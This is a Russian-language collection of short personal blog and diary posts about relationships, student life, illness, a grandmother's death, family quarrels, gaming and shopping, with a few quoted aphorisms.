Но у нас есть огромный минус. В наших отношениях. Расстояние. 1000 км. Для кого-то это мало.. Но это ужасно трудно. Я становлюсь просто другим человеком по отношению к нему, когда уезжаю. У меня сразу куча плохих мыслей, подозрений. Пессимист я, и пока не могу с этим справиться.

Зачем я это написала? Не знаю. Наверное, хотела сказать, что ничего не бывает зря. Если с вами произошло что-то плохое, то за этим обязвательно последует много хорошего. Главное, дождаться.

Вчерашний день - это нечто. Поиск аудиторий, еды, туалета - приключения в новом корпусе начинаются; D Я еле отсидела эти четыре пары с головной болью, и, когда пришла в общагу, поняла, что заболела.

Костю игнорила весь день, намеренно не общалась, старалась не приближаться, но слышала, как он опять на парах ноет.

Часов в восемь он зашел и сказал, что мне не хватило одного балла до бюджета и перевели тупую старосту. Я вообще о возможности перевода была ни сном, ни духом, а он пришел и расстроил. У него балл немного ниже моего, и он сам расстроился и решил меня видимо тоже "подбодрить". Причем ездил узнавать насчет перевода на каникулах, мне ничего даже не сказал. Вот зачем так было делать? Он страдает - пусть все страдают? У меня мама еле концы с концами сводит, чтобы за эту учебу заплатить, постоянно денег не хватает, хотя их и раньше-то особо не было. "Я был бы намного больше рад, если бы перевели тебя, а не ее" - добавила эта сволочь, гладя меня по коленке. _. И притом, что его комната пустая, просидел у меня до 12.

В общем, моя голова просто начала взрываться, я легла около 12, встала в 5, голова не прошла, выпила таблеток и благополучно проснулась в 10, проспав первую, заодно уже и вторую пару. Я молодец, чо; D И никто даже не разбудил, вот ведь что.

Вообще не люблю разговаривать по утрам, я думаю о том, какие планы на день и что нужно сделать, а меня начинают отвлекать тупыми разговорами. Я еще лежу сплю, а соседка, которая хз зачем проснулась, уже доебывает меня с чем-то невероятно глупым ><

А еще в комнате опять из-за нее срач, хотя я только позавчера прибиралась.

Вот за что мне так повезло, а? С утра настроение в ггг

Хочу жить одна или с котом.

Надо идти на пары, а я лежу со слезами на глазах под грустную музыку, которая играет у соседки. Я не хочу разбивать своё сердце снова. Не хочу.

Ничто так не обижает, как равнодушие мужчины, когда женщина плачет. Мужчина должен понимать, что слезы — это не уловка, а катаклизм, мировая катастрофа: взорвались все вулканы, все реки вышли из берегов, и надо немедленно любыми способами их остановить. Чулпан Хаматова

Вчера я приехала домой. На таможне с меня содрали 100 баксов. Виновата сама отчасти, но и развод конечно. 4 часа назад у меня умерла бабушка. Самая моя любимая, самая дорогая, хорошая моя. Она дождалась меня и умерла… Я не знаю, как дальше жить

Как научиться не реагировать на недоброжелательных людей: (начинаю сразу резко отвечать, портится настроение. А сегодня в больнице была на приеме у такой хорошей женщины. Вот знаете, просто очень добрый приятный человек. Достаточно услышать ее голос и ты уже как зачарованный. Правда. Как хорошо, что есть такие люди. Встречаешь таких и понимаешь, что ты злая какашка, но настроение все равно хорошее. Может и я для кого-то добряша хорошая: (а то и вправду, замечаю за собой, что обозлилась на весь мир, скорее всего из-за неудач в личной жизни:(

Из-за того, что он не мой, вечно ожидаю, что однажды он мне скажет "пока, я же люблю другую". Съедаю себя этими мыслями и любой игнор в мою сторону или, как мне показалось, "ответил на отвали" и все, я начинаю разносить все на своем пути и плакать ему в трубку "ты не скучаешь, я тебе не нужна, я не нравлюсь" и еще кучу отталкивающих слов. Я понимаю, что закапываю сама себя и в один прекрасный момент ему это надоест, вечно объясняться мне, да и я сама знаю, что он весь день работает, а потом с ней, что может написать либо днем в перерыве, либо уже часов в 10-11, когда ложится спать. Я знаю, что он может выделить для меня время, даже эти полчаса - час, чтобы побыть рядом, а я все равно всегда ищу подвох, чтоб докапаться до него. И однажды если он сорвется, я все пойму. Я например не могу долго терпеть, если мне выносят мозг. Хоть и он сам знал на что идет, что мозгоебства будет в два раза больше, но я сама себе рою могилу своим ежедневным нытьем о том (и при том, зная, что я не права, что он правда занят), что "ты не можешь со мной встретиться, значит ты не хочешь, значит я тебе больше не нужна!"

Хотела написать историю, как так вообще сложилось, что я оказалась с тем, с кем я есть сейчас. Уже всё продумала, осталось только напечатать. И.. Я решила этого не делать) пусть это останется только нам)) лишь скажу, что мы знакомы уже более 5 лет, и до недавнего времени даже за руки не держались))) но все эти 5 лет-он мой самый близкий и родной человек, нет и не было никого ближе. Кто давно меня читает, мб помнит, я иногда писала о том, как скучаю (был оооч долгий период необщения), как интересно было бы посмотреть, что было бы, если б выбрала его..) а кто читал меня 3-4 года назад, может даже вспомнят, как он за мной ухаживал. почему у нас ничего не было раньше? Не время было :) я гналась за неведомым журавлем в небе, который оказался лишь дворовым петухом, а он был излишне закомплексованным мальчиком) всему своё время :) конечно, эти отношения не безоблачные, тут тоже хватает всякого, но.. Ребята, я ребёнка хочу! Добровольно, вот от этого мужчины. Если бы вы слышали, что я ранее говорила насчёт детей (сюда я писала об этом более мягко и спокойно), вы бы поняли, какой это грандиозный шаг)) и вообще, всё хочу) и дом, и поездки, и напиться до усрачки, и каструли в магазине выбирать)) а ещё, смешно через два года брака такое говорить, но у меня впервые вместо "я"-"мы") а вот замуж чёт не хочется))) и так хорошо) как-то так)

8 февраля прошло достаточно спокойно и без происшествий. Я выспалась, к 3 с лишним подъехал Серёжа и мы пошли в магазин. Купили батон, пепси, чипсы и хрустик. Серёжа хотел поджарить гренки для меня, то есть батон мокаешь в ранее заготовленное взбитое яйцо с сахаром и кладёшь на сковородку. Серёжа молодец, хоть и не очень аккуратный, но готовит хорошо. Я помыла посуду, но перед этим съела шаурму и мне стало плохо. Начал болеть живот адски и гренки почти остыли к тому моменту когда я начала их есть. Серёжа даже начал обижаться, что он старался, а я не ем (
Но до этого я проснулась и пошла в комнату мамы, она пришла с работы и кушала шаурму. Я спросила, есть ли для меня, она сказала, что есть и отдала со словами: «Ну бери… предательница. » В общем она теперь удумала злится на меня, потому что я рассказала Серёже как она настраивала меня против него, чтобы мы расстались насовсем, что он будет меня избивать, разбитую чашку не склеишь и т.д. Я ей сказала, что никто и не просил её рассказывать всё мне и можно было догадаться, что я расскажу, потому что о таком он должен знать. В общем в итоге я пошла к бабушке и она спросила чего мы кричим, я рассказала и она начала говорить то же самое, что я настраиваю их друг против друга и что нельзя ему об этом рассказывать. Так что я теперь и слышать о таком не желаю. Было бы очень нечестно по отношению к Серёже скрывать тот факт, что моя мама такая двуличная корыстная сволочь.

Люди не должны только казаться хорошими. Хорошие люди ведут себя хорошо, потому что у них есть искренние чувства: старания ради других людей, элементарная доброта, вежливость, великодушие, благодарность и т.д .
Если ты внутри гавно, то будь добр – принимай говняное отношение к себе, а не еби мозги тем, кто показал твою истинную сущность. Пускай я буду тупой балаболкой, зато балаболкой честной по отношению к близким.

Мы посмотрели одну серию «Как я встретил вашу маму», я сделала массаж головы Серёже и мы поболтали.
Об интиме и речи быть не может, так как я вообще к нему не тянусь. После того что произошло между нами, я даже целовать его всерьёз не могу, нет ни желания, ни страсти. Просто целую, потому что он хочет и потому что мне нечего ему ответить, если он почувствует ту же брешь, что чувствую я. Лучше бы сейчас мы больше наполняли нашу жизнь активным отдыхом, чтобы я забыла поскорее о всём плохом, что было между нами. Но это странно, так как я люблю его внимание, его прикосновения, люблю видеть как его любящие глаза и есть он окаменеет от того что творится со мной - будет хуже, чем сейчас есть. И тогда будут 2 камешка.
Вечером я играла в онлайн-бильярд и Доту. Не понимаю, почему люди такие сволочи??? Я беру кери, чтобы убивать и фармить нормально, а мне подсирает сапорт, который помогать должен. Вот какого хуя? Ещё и игра была, когда всё вылетало нахуй. Я перезаходила раз 7! И когда мне защитали лив, у них в команде ливнул Зевс и лагать перестало! Мы выиграли. Вот какого блять хера?
Ещё договорились увидеться с Димой Савёловым в четверг, пойти в «Бум», купить пива, чтобы ему было с кем пить. Я вообще не люблю алкоголь, у меня от него болит живот и у Серёжи тоже. Так что мы просто не люблим это дело, но мы планировали как-нибудь так посидеть ради разнообразия. И Серёжа где-то увидел, что пиво помогает снять боль при месячных. Ну месячные у меня прошли уже, так что не знаю как там будет. В общем мы думали где посидим и я спросила у Димы, он сказал, давайте в самом «Буме», там типа столы, стульчики есть и еда типа пирожков. В общем место ОЧЕНЬ не привлекательное и я начала отговаривать Серёжу, который сам там не хотел сидеть. Потом я поняла, что единственное место где мы можем посидеть – это у меня дома. Но придётся поубирать. Так что я предложила это Серёже, который долго не соглашался из-за того что мама может ругать, что бутылки придётся выиносить, что запах алкоголя будет. А что делать? В подворотне как гопари сидеть?
Может мы вообще всяких няшностей купим и посидим без алкоголя. Как-то так. Теперь, если меня кто-то читает ещё, подумают, что я быдло-баба.

Ещё мы машинку на кассе в «АТБ» купили. Мы не знали продаётся она или нет, но кассирша услышала наш разговор и спросила давать нам или нет. И в конце сказала, приезжайте ещё. Обожаю её. Она очень классная :)

Время — это не товар. Его нельзя раздавать направо и налево, как сладости. Время — это ткань, из которой соткана жизнь. Если кто-то просит вас уделить ему время, помните, что он просит частичку вашей жизни.

Антуанетта Боско

В конечном счёте, я зарубила себе на носу, что нельзя рассказывать человеку который тебе нравится о всей полноте своих чувств. Потом, когда любовь-морковь заканчивается, чувствуешь себя полной дурой, за то, что тогда позволила себе наговорить кучу лишнего. У меня так было, я как идиотка рассказывала человеку какой он замечательный, и как он мне нравится, и не замечала что не слышала тоже самое в ответ. В этом была ошибка.

устала я болеть.. вот уже больше месяца, началось все с ангины, ужасного кашля, который тянется и до сих пор еще, хотя уже не такой страшный. затем температура 37-37,5, сопли, затем кашель, поход на флюру и снова температура но уже 39, а теперь снова ангина и еще гребаный цистит пристал, ну бляяяяяя, ну когда я не буду болеть, больше не могу, честно!!!

С одной стороны, жаль девочку, которая влюбляется в каждого, кто скажет ей хоть одно ласковое слово, а с другой.. моральная проституция какая-то.

Либо взаимности не бывает, либо это форма благодарности за любовь.

Меня пугают чувства, мысли, которые я испытываю, когда думаю о том, что дядя Китти понял, что его нынешняя девушка- это "навсегда" и спустя полгода отношений сделал ей предложение……… ;) К слову говоря, до этого он встречался с девушкой несколько лет и сейчас они друзья..

Пожалуйста, верните меня к мнению, что женитьба- это бессмыслица, ужасно, отвратительно и вообще фу-фу-фу, я не по этой теме и бла-бла-бла так далее..)

У меня пошёл сбой программы..))

Картинка с тегом «disney, donald duck, and gif»

my gifs

новый трейлер Гражданки откровенно порадовал таким количеством кадров с Баки *_*

Bucky Barnes / Winter Soldier
Captain America: Civil War Super Bowl TV Spot

Многие говорят, что кошатницы- "поехавшие". Да, я согласна. Однако, мамашки так же "поехавшие" на своих чадах. Так в чём разница? Почему многие презирают тех, кто выбрал другую семью? Почему все должны жить по установленным нормам: образование, работа, семья, дети, кладбище? Вы "поехавшие" на детях, я- на животных. "Болезнь" одна, причины разные.

Каждой женщине рано или поздно приходится обустраивать свой собственный дом – не важно при этом, замужем она или нет. Живущее в ее душе стремление подрубать полотенца, скупать маленькие грубые огнеупорные формы для печенья, украшать настенные полки кружевными оборками должно быть, вне всякого сомнения, удовлетворено независимо от ее гражданского состояния. Как это часто бывает, девушка, стремясь окутать себя всей этой мишурой, легко может внушить себе, что влюблена в какого-нибудь парня, который может принести ей только несчастье. В любого парня, который даст ей возможность удовлетворить свою жажду обустройства и покупки мебели и одновременно назовет ее женой, что, разумеется, не менее важно.

Астрид Линдгрен: Кати в Италии


image - weheartit

Мне хочется подбегать к парочкам, где парень и девушка такие разные и совсем не походят друг к другу, указывать на них и кричать « каак каак каак? » Да, у меня обострение. Конечно я буду злиться. До, тех пор пока, ну вы сами знаете. И познакомилась я недавно с неторными хорошими молодыми людьми, но нет о все не то. Не ёкает. А злость то прибавилось, особенно сейчас. Почти всё вокруг-соль на рану. Лучше буду думать про хоккей, который начинается меньше чем через час, концерте Hollywood Undead и скорой зарплате. Жизнь прекрасна)

  • а еще у меня есть одно маленькое желание.
    хочу, в будущем, когда буду жить в доме со своим мужчиной,
    сделать зеркальный потолок.)
    идею украла из "основного инстинкта".
    я думаю обязательно воплощу ее!
  • ну как можно ночью сказать "люблю", столько планов построить на жизнь со мною, а утром вот так бросить все
    теперь молюсь, что бы это была его очерадная больная шутка

    когда еле сдерживаю себя от слез, когда не хочу чтобы меня дома такой видели иду бегать. всегда помогало, даже плакать не хотелось. а сегодня впервые бежала и захлебывалась от этой воды из глаз. хорошо, что было темно.

    ПРОСТО ПОСТ МОЕЙ БОЛИ.

    Зашла в интернет магазин, чтобы посмотреть, что нового. Обычно мне мало что нравится, но эта вещь просто АГОНЬ!
    Но 750 грн за одну футболку-платье??? ШТА?
    Завтра схожу в ателье и спрошу сколько у них будет стоить, чтобы сшить эту прелесть. Ну ахуенно же.

    Увидела на девушке часы и порылась в другом магазине. Планирую эти заказать, они 240, если не подорожали.

    я люблю общение. иногда виртуальное даже больше чем реальное: мне скучно на работе, плюс, если собеседник интересный, я могу почерпнуть немного опыта или знаний.
    короче, я люблю общение.
    это НЕ означает, что флиртую, заигрываю или строю планы на вечное "счастливы вместе".

    и вот ситуация:

    добавляется в друзья мальчик из-за того, что у меня на аватаре я с джойсткиом.
    Сразу с регвестом вопрос: "Во что рубишь? "
    Ну за ответом "в мкх" завязывается диалог об играх, потом об интернете и так дошли аж до хрестоматии.

    Общались себе спокойно 2 с чем то недели и тут он меня решил пригласить чай попить.
    Не могу говорю, занята. Да и вообще я своё свободное время уделяю людям близким, а не stranger-ам из социальных сеток.
    Проехали. Подумала, что понял.
    Ещё через неделю говорит, мол, привезли ему вина, аж ящик, сам не управится, решил друзей позвать на винишко, ну и меня грешным делом к оним причислил и говорит, захаживай в гости.
    Возмущаюсь, ибо не хватало мне ещё по гостям левым шляться.
    Говорит, ну раз не хочешь ко мне, давай на нейтральной территории встретимся, уж больно ему захотелось пообщаться с живой мной, за руки помацать, да встречу нашу свиданием обозначить.

    Мне аж смешно, говорю, ты чиво, совсем не алё? у меня уже процветают счастливые отношения, мне ещё одни ни на какой половой орган не упали.

    Обиделся.
    Говорит, а чего ж ты бабонька мне надежду-то дала.

    ДА БЛЯТЬ КОГДА?!
    Я даже переписываюсь без смайликов, какая надежда, о чём ты?!

    Ну так вот, шерстяные мои, как жеж бороться с людьми, что вечно думают, что ты с ними флиртуешь (вежливо разговариваешь, всегда улыбчива) если ты просто общительная и веришь в дружбу как таковую, без задней мысли "поиметь" человека?

    Нужно позволять себе делать ошибки. Научиться их принимать и не изводить себя впоследствии. Оступаешься - значит не стоишь на месте.